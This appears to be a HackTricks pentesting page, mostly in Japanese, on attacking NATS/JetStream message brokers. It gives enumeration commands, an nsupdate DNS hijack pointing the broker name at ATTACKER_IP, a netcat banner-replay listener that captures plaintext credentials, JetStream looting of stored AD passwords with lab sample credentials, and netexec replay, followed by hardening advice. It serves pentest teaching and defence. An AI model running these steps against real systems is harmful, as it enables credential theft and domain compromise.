4222 - Pentesting NATS / JetStream

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Basic Information

NATS はシンプルなテキストベースのプロトコルを使う高性能なメッセージバスです:サーバは TCP 接続直後に INFO { ... } JSON バナーを送信し、クライアントは CONNECT {"user":"USERNAME","pass":"PASSWORD",...} フレームで応答し、その後に任意の PING/PUB/SUB コマンドが続きます。JetStream は同じ TCP ポート(4222/tcp)上に永続化プリミティブ(Streams & Consumers)を追加します。TLS と認証は任意のため、多くの内部展開では plaintext AUTH が使われています。

  • Default port: 4222/tcp (4223+ for clustered routes)
  • Stock banner fields: "version", "auth_required", "jetstream", "max_payload", "tls_required"

Enumeration

nmap -p4222 -sV --script banner TARGET
# Sample output
# 4222/tcp open  nats  NATS.io gnatsd 2.11.3
# | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}

INFO frameは手動で取得することもできます:

echo | nc HOST 4222
INFO {"server_id":"NCLWJ...","version":"2.11.3","auth_required":true,"jetstream":true}
-ERR 'Authorization Violation'

より詳細な操作のために、公式 CLI (Go ≥1.21) をインストールしてください:

go install github.com/nats-io/natscli/nats@latest
nats -s nats://HOST:4222 rtt

Authentication failures immediately raise nats: Authorization Violation, so valid creds are required for any meaningful RPC.

Credential capture via DNS/service impersonation

  • ブローカーのホスト名(例: nats-svc.domain.local)に対する古い AD DNS エントリを特定する。レコードが NXDOMAIN を返す場合、デフォルトの dynamic-update ACLs により低権限の domain user がそれを再作成できる。背景については AD DNS Records abuse を参照。
  • ホスト名を攻撃者が制御する IP に登録する:
nsupdate
> server DC_IP
> update add nats-svc.domain.local 60 A ATTACKER_IP
> send
  • 正当なバナーを一度ミラーしてから、それを接続してくるすべてのクライアントに対して再生します。NATS は最初に見た INFO 行を信頼するため、リスナーを介してパイプするだけで十分です:
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
  • 内部クライアントがハイジャックされた名前を解決すると、プレーンテキストの CONNECT フレームを送出し、user / pass ペアや各種テレメトリ(クライアント名、Go バージョン、プロトコルレベル)を含みます。INFO banner以降の情報は不要なため、nc だけでも秘密を収集できます。
  • 長期の作業では、公式サーバーをローカルで実行します(git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V)。TRACE ログは既にユーザー名を表示しており、redaction helper を外すか、sniffing traffic with Wireshark によりフルパスワードが判明します。

JetStream の略奪とパスワード探索

Once any credential is recovered (e.g. Dev_Account_A), store it as a CLI context to avoid retyping:

nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'

JetStream discovery は通常、次のようなパターンに従います:

nats account info --context mirage      # quotas, stream count, expiration
nats stream list --context mirage       # names + message totals
nats stream info auth_logs --context mirage
nats stream view auth_logs --context mirage

Streaming チームはしばしば logs.auth のような subject に認証イベントを記録します。開発者が生の JSON を JetStream stream に永続化すると、ペイロードに平文の AD ユーザー名とパスワードが含まれることがあります:

{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}

保持されたシークレットは netexec smb DC01 -u USER -p PASS -k を使用して Kerberos-only サービスに対してリプレイされ、ドメイン全体の侵害が可能になります。

ハードニングと検出

  • Enforce TLS (tls, tls_required, or mTLS via nkey/creds). 暗号化がないと、INFO/CONNECT は認証情報を経路上の誰にでも leak します。
  • Pinpoint who can update DNS – サービスレコードを専用アカウントに委任し、高価値ホスト名については Event IDs 257/252 を監査してください。scavenging alerts と組み合わせて、欠落した broker 名が黙って再取得されないようにします。
  • Disable credential logging. subjects に公開する前にシークレットをスクラブし、JetStream の保持/寿命制限を設定し、deny_delete=false は信頼できるオペレータのみに適用してください。
  • Monitor for banner anomalies – 短時間で切断される接続の繰り返し、認証タイムアウト、または承認済みテンプレートと一致しない INFO バナーは、偽装サーバを示唆します。

References

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする